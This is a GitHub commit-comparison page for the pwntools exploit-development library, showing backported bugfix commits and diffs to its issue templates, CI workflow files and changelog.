Compare commits

..
33 Commits
Author SHA1 Message Date
peace-maker 8bc6f6cd2b Merge pull request #2796 from peace-maker/stable_backports
Backport bugfixes from 5.0 to stable
2026-11-08 08:49:07 +01:00
peace-maker 455c8c02c3 Backport: Test on Python 3.15 (#2792)
* Test on Python 3.15

* Use `RLIM_INFINITY` instead of `-1` constant for rlimit modification

Python 3.15 warns against using negative values instead of the constant:

DeprecationWarning: Use RLIM_INFINITY instead of negative limit value.

It has been available since Python 2.

* Update CHANGELOG
2026-10-30 20:49:30 +01:00
Carlos Luna-Pena dbc618de0d Backport: fix #2737: pwnlib.shellcraft submodule imports on python 3.12+ (#2739)
* shellcraft: migrate lazy importer to find_spec for py3.12+

* shellcraft: changelog entry + mypy baseline sync for #2739
2026-10-30 20:49:06 +01:00
peace-maker 34b8345d1d Backport: Support paginated libc.rip API requests (#2767)
* Support paginated libc.rip API requests

libc.rip used to truncate the result set but supports pagination now. Fetch all results reliably now by requesting all pages.

Fixes #2651

* Update CHANGELOG
2026-10-30 20:49:05 +01:00
Peace-Maker 771c7f81ac Backport: Skip ssh.ibt doctest since some runners appear to support it now 2026-10-30 20:49:05 +01:00
Taran 8d69dc6142 Backport: fix(srop): correct amd64 SigreturnFrame uc_sigmask offset (#2762)
* fix(srop): correct amd64 SigreturnFrame uc_sigmask offset

* changelog: add entry for #2762
2026-10-30 20:49:05 +01:00
peace-maker 3911a6a12e Backport: Fix libcdb CI cache not forwarding URI path (#2749)
The nginx docs say that you have to specify the $request_uri manually when a variable is used in the `proxy_pass` value.
Since we just put `/` at the end, all requests were rewritten to `/` instead of the intended e.g. `/api/find` endpoints.

https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass

This broke in #2718 but didn't manifest right away since the responses were still cached in CI. Now after the cache expired the fetch failed.
2026-10-30 20:49:05 +01:00
ChrisJr404andChris a5f3873194 Backport: safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14) (#2722)
* safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14)

* changelog: add entry for #2722 (safeeval Python 3.14 opcodes)

* ci: retrigger after transient libcdb network failure

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
2026-10-30 20:49:05 +01:00
peace-maker 481704bfd8 Backport: ssh: Discard stderr of lsb_release for Distro lookup (#2704)
* ssh: Discard stderr of `lsb_release`

The "No LSB modules are available." spam interferes with parsing the output for the initial checksec distro parsing when connecting to a new host.

* Update CHANGELOG
2026-10-30 20:49:05 +01:00
zackary 5196a1a0f0 Backport: fix: delay upstream DNS resolution to prevent startup failures (#2718)
Use nginx variable pattern (set $upstream + proxy_pass https://$upstream)
to defer DNS resolution until first request instead of at config parse time.

This fixes the occasional 'host not found in upstream' error in CI when
nginx container starts before Docker DNS is fully available.

Fixes #2712
2026-10-30 20:49:05 +01:00
Peace-Maker be705326a7 Backport: libcdb CI cache: Resolve upstream hostnames on request
Instead of trying to resolve all of them when nginx starts and exit
if any of them fail to resolve.

[emerg] 1#1: host not found in upstream "debuginfod.elfutils.org" in /etc/nginx/nginx.conf:23
2026-10-30 20:49:05 +01:00
Peace-Maker c7e6ef37c8 Backport: Cache gitlab.com libcdb responses in CI
The reponses set a cloudflare `_cfuvid` cookie and had a cache time of 60 seconds.
nginx doesn't cache responses with a `Set-Cookie` header by default,
so ignore the cookie and override the cache time to 12 weeks.

Fixes #2494
2026-10-30 20:49:05 +01:00
Arusekk 210faac75b Backport: no atexit, OS will suffice 2026-10-30 20:49:05 +01:00
peace-maker 8e0e4c6c90 Backport: Close SSH client connection when authentication failed (#2688)
* Close SSH client when authentication failed

The TCP connection stayed open after an exception was thrown
during authentication, even when a `with`-statement guarding the call.
Close the connection before re-raising the exception.

Fixes #2678

* Update CHANGELOG
2026-10-30 20:49:05 +01:00
peace-maker bbac6660b2 Backport: Fix tty and raw arguments in ssh.process (#2699)
* Fix `tty` and `raw` arguments in ssh.process

The arguments were unused and not passed through to the underlying `ssh_process` class.

Fixes #2038

* Add tty tests

* Update CHANGELOG

* Fix buffered process environment output without tty
2026-10-30 20:49:05 +01:00
Rin 2a986f12c1 Backport: refactor: replace unsafe eval with ast.literal_eval in ROP cache loading (#2677)
* refactor: replace unsafe eval with ast.literal_eval in ROP cache loading

* docs: add PR link to CHANGELOG reference section

* docs: restore full CHANGELOG and correctly add PR #2677 reference
2026-10-30 20:49:05 +01:00
peace-maker b60ed9928d Backport: Fix typo causing doctests not getting skipped (#2681)
Downloading all those libcs slowed down the CI a lot.
2026-10-30 20:49:05 +01:00
peace-maker b1391984d1 Backport: asm: try native binutils before fallback architectures (#2669)
* asm: try native binutils before fallback architectures

Some binutils builds support multiple architectures,
like the x86_64 assembler supports i386 too in most
package builds and vice versa. We support this by trying
the other binutils as well when looking for the right tool.
That support is optional though and there are packages
that don't include the "cross" compilation.

When assembling for the host's native architecture, we
still prefer the explicitly named `x86_64-linux-gnu-as`
instead of the native `as` binary. That native binary is
tried as a last resort after looking for any other explictly
named binary. If the fallback package is installed but
compiled without the cross-compiler support, we'd still
find the `i386-as` binary while looking for `x86_64-as`
before trying the native `as` binary.
That would fail to assemble.

This patch moves the native `as` binary forward in the list
to try it before checking the other fallback architecture ones.

Fixes #2509

* Update CHANGELOG
2026-10-30 20:49:05 +01:00
Th3S dd747e1062 Backport: fix(libcdb-cli): return early if no matched libc found (#2646)
* Fix: return early if no matched libc found

* Update CHANGELOG
2026-10-30 20:49:05 +01:00
peace-maker 78fccc055f Backport: Remove "pip" as explicit dependency (#2642)
It looks like this was done to work around a bug in an old pip version years ago.
It caused problems when freezing dependencies which unnecessarily forced pip to the version used at freeze time when installing again.

Fixes #2625
2026-10-30 20:49:05 +01:00
OBarronCS 4f50b45586 Backport: Add aarch64_be qemu mapping (#2653) 2026-10-30 20:49:05 +01:00
a1c7d07db8 Backport: GitHub Actions: Test on Python 3.14 (#2627)
* GitHub Actions: Test on Python 3.14

Python v3.14 -- October 7th
* https://www.python.org/download/pre-releases
* https://www.python.org/downloads/release/python-3140rc3
* https://github.com/actions/setup-python/blob/main/docs/advanced-usage.md#allow-pre-releases

* Allow new LOAD_SMALL_INT opcode in safeeval

* Support lambdas in mbruteforce

* Drop pwnlib.util.iters.lookahead

---------

Co-authored-by: Peace-Maker <[email protected]>
Co-authored-by: Arusekk <[email protected]>
2026-10-30 20:49:05 +01:00
Arusekk 6691e8476a Backport: template: error message and fallback on no docker 2026-10-30 20:49:05 +01:00
peace-maker a8bcdf6f8d Backport: Fix log.progress ignoring context.log_console (#2610)
* Fix `log.progress` ignoring `context.log_console`

When setting `context.log_console` to something other than stdout, spinners while using `log.progress` would still be printed to stdout.
Redirect them to the stream specified by `context.log_console` and don't animate if it's not a tty.

Fixes #1702

* Update CHANGELOG
2026-10-30 20:49:05 +01:00
k4lizen bf5e4df220 Backport: Fix aarch64 ABI (#2598)
* upd aarch64 abi

* changelog
2026-10-30 20:49:05 +01:00
Shordenandpeace-maker 68b5bbf16b Backport: Support context.timeout in ~/.pwn.conf (#2592)
* Add float to supported config types

This change functionally just allows setting `context.timeout` in
~/.pwn.conf.

* update changelog

---------

Co-authored-by: peace-maker <[email protected]>
2026-10-30 20:49:05 +01:00
Arusekk 9a7e197754 Backport: Fix double exception on gaierror
Closes #2581
2026-10-30 20:49:05 +01:00
Zach Hanson 96c3ede156 Backport: Fix a bug that incorrectly reports GNU_STACK missing when its not. (#2493) 2026-10-30 20:49:05 +01:00
RocketDev f2eba7c8fd Backport: ROP: fix ROP(ELF(exe)).leave is None in some ELF (#2506)
* ROP: fix `self.leave is None` in some libc

When `pop rbp; pop rsp; ret;` exists in libc, it is chosen instead of
`leave`. Add a specific `order` to filter out the former one.

* add changelog for #2506

* ROP: add sp_move when `pop rsp`

* CHANGELOG: mv #2506 to `5.0.0`
2026-10-30 20:49:05 +01:00
peace-maker 1c7d917432 Backport: CI: Test on Python 3.13 (#2534) 2026-10-30 20:49:05 +01:00
tesujiandpeace-maker 1553670f9d Backport: checksec: Do NOT error when passing directory arguments to commandline tool (#2530)
I often use `checksec *` to lazily avoid typing filenames in a directory.
If the directory contains any other sub-dirs, the command fails.
With this patch, checksec will silently skip dir paths. There's still
TOCTOU issue but I don't think checksec do anything important enough
to explicitly use try/catch to account for that.

Co-authored-by: peace-maker <[email protected]>
2026-10-30 20:49:05 +01:00
peace-maker 8f67b7b7b5 Backport: Raise EOFError during process.recv when stdout closes on Windows (#2524)
* Windows: Raise EOFError during process.recv when stdout closes

If the receiving thread terminates while we're waiting for data to arrive we'd be waiting endlessly. Raise EOFError when .recv()ing on a process with stdout closed and no more data queued up from the receiver thread.

* Update CHANGELOG
2026-10-30 20:49:05 +01:00
Rahulandrahul05ranjan 459dfd7e35 fix(regsort): drop self-assignments through register aliases (#2795)
* fix(regsort): drop self-assignments through register aliases

The self-assignment drop compared register names only (k != v), so an
assignment through an alias (e.g. {'ax': 'eax'} with registers.native32)
was not recognized as a no-op.  It then surfaced as a spurious
1-register dependency cycle, which either raised PwnlibException with
xchg=False or emitted a useless 'mov' of a register into its own alias.

With xchg=False and other registers present, the bogus cycle also
forced the temporary-register code path, reordering unrelated moves and
silently leaving registers with wrong values (see the linked issue).

Compare the mapped names instead, like the rest of the function.

Fixes #2794

Co-authored-by: rahul05ranjan <[email protected]>

* docs(changelog): add regsort register-alias self-assignment fix entry

---------

Co-authored-by: Rahul Ranjan <[email protected]>
2026-10-30 16:20:25 +01:00
798 changed files with 4535 additions and 11060 deletions

No files matched your search

+1 -1
View File
@@ -4,7 +4,7 @@ Thanks for contributing to Pwntools!
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
Please verify that your issue occurs on 64-bit Ubuntu 22.04. You can use the Dockerfile on `docker.io` for quick testing.
Please verify that your issue occurs on 64-bit Ubuntu 14.04. You can use the Dockerfile on `docker.io` for quick testing.
```
$ docker pull pwntools/pwntools:stable
+1 -1
View File
@@ -39,7 +39,7 @@ You should see `[DEBUG]` statements that show what's happening behind the scenes
## Verify on Ubuntu
If possible, please verify that your issue occurs on 64-bit Ubuntu 24.04. We provide a Dockerfile based on Ubuntu 24.04 via `docker.io` to make this super simple, no VM required!
If possible, please verify that your issue occurs on 64-bit Ubuntu 22.04. We provide a Dockerfile based on Ubuntu 22.04 via `docker.io` to make this super simple, no VM required!
```sh
# Download the Docker image
+1 -1
View File
@@ -24,7 +24,7 @@ You can always [change the branch][change] after you create the PR if it's again
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
[change]: https://github.blog/news-insights/product-news/change-the-base-branch-of-a-pull-request/
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
## Changelog
+2 -5
View File
@@ -4,8 +4,5 @@ updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
# Check for updates to GitHub Actions every month
interval: "monthly"
groups:
github-actions:
dependency-type: "production"
# Check for updates to GitHub Actions every week
interval: "weekly"
+70
View File
@@ -0,0 +1,70 @@
name: Android Tests
on: [push, pull_request]
jobs:
android-test:
strategy:
matrix:
python-version: ['3.10']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
gdb gdbserver socat \
qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
libc6-dbg
- name: Cache for avd
uses: actions/cache@v4
id: cache-avd
with:
path: |
~/.android
/usr/local/lib/android/sdk/emulator
/usr/local/lib/android/sdk/platform-tools
/usr/local/lib/android/sdk/system-images
key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
restore-keys: |
${{ matrix.os }}-cache-avd-
- name: Install Android AVD
run: |
sudo usermod -aG kvm $USER
source travis/setup_avd_fast.sh
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
set | grep ^PATH >.android.env
- name: Install dependencies
run: |
pip install --upgrade pip
python setup.py egg_info
pip install --upgrade --editable .
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Coverage Doctests (Android Only)
run: |
source .android.env
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
with:
fetch-depth: 0
+46 -104
View File
@@ -7,6 +7,9 @@ jobs:
matrix:
python_version: ['3.10', '3.12', '3.13', '3.14', '3.15']
os: [ubuntu-latest]
include:
- python_version: '2.7'
os: ubuntu-22.04
runs-on: ${{ matrix.os }}
timeout-minutes: 30
services:
@@ -26,7 +29,7 @@ jobs:
PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
PWN_GITLAB_LIBCDB_URL: http://localhost:3003/
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
with:
fetch-depth: 20
@@ -34,7 +37,7 @@ jobs:
run: |
git fetch origin
git log --oneline --graph -10
- name: Fix libcdb-cache permissions
id: fix-perms
run: |
@@ -42,7 +45,7 @@ jobs:
echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
- name: Cache for libcdb requests
uses: actions/cache@v6
uses: actions/cache@v4
with:
path: ~/libcdb-cache
key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
@@ -64,9 +67,18 @@ jobs:
sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
/usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
- name: Cache for pip
uses: actions/cache@v4
if: matrix.python_version == '2.7'
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-${{ hashFiles('**/pyproject.toml', '**/requirements*.txt') }}
restore-keys: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-
- name: Set up Python ${{ matrix.python_version }}
uses: actions/setup-python@v7
if: matrix.python_version != '2.7'
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python_version }}
cache: 'pip'
@@ -74,6 +86,17 @@ jobs:
**/pyproject.toml
**/requirements*.txt
- name: Set up Python 2.7
if: matrix.python_version == '2.7'
run: |
sudo apt-get update
sudo apt-get install -y \
python2.7 python2.7-dev python2-pip-whl
sudo ln -sf python2.7 /usr/bin/python
export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl`
sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel
sudo chown -R $USER /usr/local/lib/python2.7
- name: Verify tag against version
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
@@ -104,20 +127,18 @@ jobs:
binutils-s390x-linux-gnu \
binutils-sparc64-linux-gnu \
binutils-riscv64-linux-gnu \
binutils-loongarch64-linux-gnu \
gcc-multilib \
libc6-dbg \
elfutils \
patchelf
# Print diagnostics to help when Corefile doctests fail.
- name: Testing Corefiles
run: |
ulimit -a
ulimit -c unlimited
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/core_uses_pid
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core* || coredumpctl list sh) || true
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true
- name: Set up SSH
run: |
@@ -133,13 +154,15 @@ jobs:
pip install 'unicorn==2.1.2'
- name: Sanity checks
run: |
PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
python -c "import hashlib; assert hashlib.algorithms_guaranteed == {'sha256', 'blake2s', 'sha3_384', 'shake_256', 'sha1', 'md5', 'shake_128', 'sha224', 'sha512', 'blake2b', 'sha3_512', 'sha3_224', 'sha3_256', 'sha384'}"
run: PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Manually install non-broken Unicorn
if: matrix.python_version == '2.7'
run: pip install unicorn==2.0.0rc7
- name: Disable yama ptrace_scope
run: |
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
@@ -225,106 +248,38 @@ jobs:
pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
- name: Build source and wheel distributions
if: matrix.python_version != '2.7'
run: |
python -m build
- uses: actions/upload-artifact@v7
- uses: actions/upload-artifact@v4
if: matrix.python_version == '3.10'
with:
name: packages
path: dist/
include-hidden-files: true
- uses: actions/upload-artifact@v7
- uses: actions/upload-artifact@v4
with:
name: coverage-${{ matrix.python_version }}
path: .coverage*
include-hidden-files: true
- name: Fix libcdb-cache permissions
run: |
container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
docker stop $container_id
sudo chown -R runner:runner /home/runner/libcdb-cache
android-test:
runs-on: ubuntu-latest
timeout-minutes: 30
continue-on-error: true
steps:
- uses: actions/checkout@v7
- name: Set up Python 3.12
uses: actions/setup-python@v7
with:
python-version: '3.12'
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
gdb gdbserver socat \
qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
libc6-dbg
- name: Cache for avd
uses: actions/cache@v6
id: cache-avd
with:
path: |
~/.android
/usr/local/lib/android/sdk/emulator
/usr/local/lib/android/sdk/platform-tools
/usr/local/lib/android/sdk/system-images
key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
restore-keys: |
${{ matrix.os }}-cache-avd-
- name: Install Android AVD
run: |
sudo usermod -aG kvm $USER
source travis/setup_avd_fast.sh
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
set | grep ^PATH >.android.env
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade wheel build
pip install --upgrade flake8 appdirs
pip install --upgrade --editable .
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Coverage Doctests (Android Only)
run: |
source .android.env
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
- uses: actions/upload-artifact@v7
with:
name: coverage-android
path: .coverage*
include-hidden-files: true
windows-test:
runs-on: windows-latest
timeout-minutes: 30
continue-on-error: true
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
- name: Set up Python 3.12
uses: actions/setup-python@v7
uses: actions/setup-python@v5
with:
python-version: '3.12'
@@ -333,33 +288,20 @@ jobs:
pip install --upgrade pip
pip install --upgrade --editable .
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Sanity checks
run: |
python -bb -c 'from pwn import *'
python -bb examples/text.py
- name: Coverage doctests
run: |
python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
- uses: actions/upload-artifact@v7
with:
name: coverage-windows
path: .coverage*
include-hidden-files: true
upload-coverage:
runs-on: ubuntu-latest
needs: [test, android-test, windows-test]
needs: test
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
with:
fetch-depth: 20
- uses: actions/download-artifact@v8
- uses: actions/download-artifact@v4
with:
pattern: coverage-*
merge-multiple: true
@@ -379,7 +321,7 @@ jobs:
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
needs: test
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
with:
fetch-depth: 20
- name: Push changes to protected branch
@@ -401,7 +343,7 @@ jobs:
needs: test
steps:
- name: Download artifacts
uses: actions/download-artifact@v8
uses: actions/download-artifact@v4
with:
name: packages
path: dist
+7 -7
View File
@@ -13,16 +13,16 @@ jobs:
steps:
# Required for subdirectories in Git context
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_PASSWORD }}
- name: Build and push base image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch'
with:
context: "{{defaultContext}}:extra/docker/base"
@@ -30,7 +30,7 @@ jobs:
tags: pwntools/pwntools:base
- name: Build and push stable image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
with:
context: "{{defaultContext}}:extra/docker/stable"
@@ -38,7 +38,7 @@ jobs:
tags: pwntools/pwntools:stable
- name: Build and push beta image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
with:
context: "{{defaultContext}}:extra/docker/beta"
@@ -46,7 +46,7 @@ jobs:
tags: pwntools/pwntools:beta
- name: Build and push dev image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:extra/docker/dev"
@@ -56,7 +56,7 @@ jobs:
pwntools/pwntools:latest
- name: Build and push ci image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:travis/docker"
+2 -12
View File
@@ -10,10 +10,10 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v7
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
@@ -31,13 +31,3 @@ jobs:
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
- name: Minimum Python version check
run: |
pip install vermin
vermin -vvv --no-tips -t=3.10- --violations ./pwnlib ./pwn
- name: MyPy type hint baseline
run: |
pip install -U . --group dev
mypy | mypy-baseline filter
+1 -1
View File
@@ -13,7 +13,7 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
with:
fetch-depth: 0
+2 -2
View File
@@ -10,10 +10,10 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v7
- uses: actions/checkout@v4
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v7
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
+41 -126
View File
@@ -10,7 +10,7 @@ The table below shows which release corresponds to each branch, and what date th
| Version | Branch | Release Date |
| ---------------- | -------- | ---------------------- |
| [5.0.0](#500-dev) | `dev` |
| [4.15.0](#4150-stable) | `stable` | Oct 12, 2025
| [4.15.0](#4150-stable) | `stable` | Oct 12, 2025
| [4.14.1](#4141) | | Mar 24, 2025
| [4.14.0](#4140) | | Jan 15, 2025
| [4.13.1](#4131) | | Sep 29, 2024
@@ -75,32 +75,14 @@ The table below shows which release corresponds to each branch, and what date th
## 5.0.0 (`dev`)
- [#2798][2798] fix(flag, adb): NameError in `submit_flag` with a flag file and in `Kernel.enable_uart`
- [#2780][2780] fix(encoders): handle unavailable xor encodings and fallback
- [#2789][2789] feat(errno): support `-c/--context` to look up errno values for other architectures
- [#2784][2784] docs: put plain doctest blocks in the default group for Sphinx 9
- [#2762][2762] fix(srop): correct amd64 SigreturnFrame `uc_sigmask` offset
- [#2753][2753] docs(args): clarify reserved args (DEBUG/NOASLR) map to context, not args
- [#2740][2740] setup: install docs to FHS-compliant share/doc/pwntools
- [#2739][2739] shellcraft: migrate lazy importer to find_spec for Python 3.12+
- [#2725][2725] feat(libcdb): add extra_mirrors arg + PWNLIB_EXTRA_LIBC_MIRRORS env to download_libraries
- [#2677][2677] refactor: replace unsafe eval with safeeval.const in ROP cache loading
- [#2675][2675] feat(term): add zellij support
- [#2652][2652] Make setting the context.terminal to kitty more user friendly
- [#2638][2638] feat: add disable_corefiles context option
- [#2627][2627] remove pwnlib.util.iters.lookahead (broken anyway)
- [#2598][2598] aarch64: Fix ABI definition
- [#2419][2419] riscv: avoid compressed instructions (if you need compressed, use .option rvc)
- [#2551][2551] Detect when kitty is being used as terminal
- [#2519][2519] Drop Python 2.7 support / Require Python 3.10
- [#2507][2507] Add `+LINUX` and `+WINDOWS` doctest options and start proper testing on Windows
- [#2522][2522] Support starting a kitty debugging window with the 'kitten' command
- [#2524][2524] Raise EOFError during `process.recv` when stdout closes on Windows
- [#2526][2526] Properly make use of extra arguments in `packing` utilities. `sign` parameter requires keyword syntax to specify it.
- [#2517][2517] Allow to passthru kwargs on `ssh.__getattr__` convenience function to fix SSH motd problems
- [#2530][2530] Do NOT error when passing directory arguments in `checksec` commandline tool.
- [#2529][2529] Add LoongArch64 support
- [#2506][2506] ROP: fix `ROP(ELF(exe)).leave` is `None` in some ELF
- [#2504][2504] doc: add example case for `tuple` (host, port pair) in `gdb.attach`
- [#2546][2546] ssh: Allow passing disabled_algorithms keyword argument from ssh to paramiko
- [#2538][2538] Add `ssh -L` / `ssh.connect_remote()` workaround when `AllowTcpForwarding` is disabled
@@ -110,72 +92,18 @@ The table below shows which release corresponds to each branch, and what date th
- [#2590][2590] Add support for finding corefiles under WSL2
- [#2496][2496] Add linux ko file search support
- [#2542][2542] Decode `_IO_*` flags in `FileStructure` member
- [#2592][2592] pwnlib.config: Fix customization of `context.timeout`
- [#2606][2606] Improve error of `process.maps()` after the process exited
- [#2608][2608] Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed
- [#2611][2611] Cleanup `pwnlib.lexer` exports and imports
- [#2610][2610] Fix `log.progress` ignoring `context.log_console`
- [#2615][2615] tube/process: Fix redirecting stderr to stdout on Windows
- [#2639][2639] ROP: Remove stdout and argv workaround in ROPgadget invocation
- [#2630][2630] support `preexec_fn` in `debug()`
- [#2641][2641] support preexec_args in process
- [#2646][2646] fix(libcdb-cli): return early if no matched libc found
- [#2629][2629] Add `terminate()` method to process class that sends SIGTERM
- [#2643][2643] Refactor getdents.py, add support for SYS_getdents64
- [#2647][2647] packing: Add `overlap` to overlap structures easily
- [#2669][2669] asm: try native binutils before fallback architectures
- [#2673][2673] Add libc module for libc-related functions
- [#2679][2679] Add type hints to parts of pwnlib.utils
- [#2680][2680] Cleanup Python 2 legacy
- [#2683][2683] libc: add atexit functions for glibc exploits
- [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()`
- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`
- [#2682][2682] Fix `server.close()` not closing the listen socket
- [#2671][2671] ssh: support raw string input for 'key' argument as documented
- [#2688][2688] Close SSH client connection when authentication failed
- [#2686][2686] Add glibc safe-linking `glibc.reveal_ptr_same_page`
- [#2706][2706] doc: Update `run_in_new_terminal` docstring with new overrides
- [#2704][2704] ssh: Fix distro lookup on Ubuntu 24.04
- [#2655][2655] Add `context.debugger` to select which debugger to use
- [#2689][2689] Refactor zsh completion script and deprecate `-e` in `pwn asm`
- [#2713][2713] Remove python-dateutil dependency
- [#2720][2720] ssh: resolve PermissionError on Windows during SFTP upload
- [#2702][2702] ssh: Don't cache username in ssh checksec output
- [#2722][2722] safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14)
- [#2730][2730] Fix atexception handlers in term mode
- [#2732][2732] ssh: fix `ssh.which` returns None for POSIX paths when running on Windows
- [#2733][2733] loongarch64: fix incorrect mov assembly template
- [#2741][2741] memleak: add opt-in persistent leak cache
- [#2743][2743] fix(adb): add missing import for remote to fix NameError hidden by bare except
- [#2746][2746] elf: point people at libc_start_main_return when they look up __libc_start_main_ret
- [#2734][2734] ROP: Add labels to reference addresses relative to your chain
- [#2735][2735] Add support for debugging with x64dbg on Windows
- [#2767][2767] Support paginated libc.rip API requests to include all search results
- [#2726][2726] feat(libcdb): use local debuginfod client cache before hitting servers
- [#2768][2768] docs: Added the homebrew workaround in documentation needed for macOS users
- [#2769][2769] Use standard library (PEP-784) for Zstandard decompression
- [#2750][2750] Fix DeprecationWarning with remote(ssl=True), checking remote certificates now
- [#2761][2761] fix: don't truncate the last byte of `FileStructure.struntil`
- [#2727][2727] feat(cli): add 'pwn errno --list' + perror-string lookup
- [#2792][2792] Fix deprecation warning for not using `RLIM_INFINITY` in `resource.setrlimit` (Python 3.15)
[2784]: https://github.com/Gallopsled/pwntools/pull/2784
[2675]: https://github.com/Gallopsled/pwntools/pull/2675
[2652]: https://github.com/Gallopsled/pwntools/pull/2652
[2638]: https://github.com/Gallopsled/pwntools/pull/2638
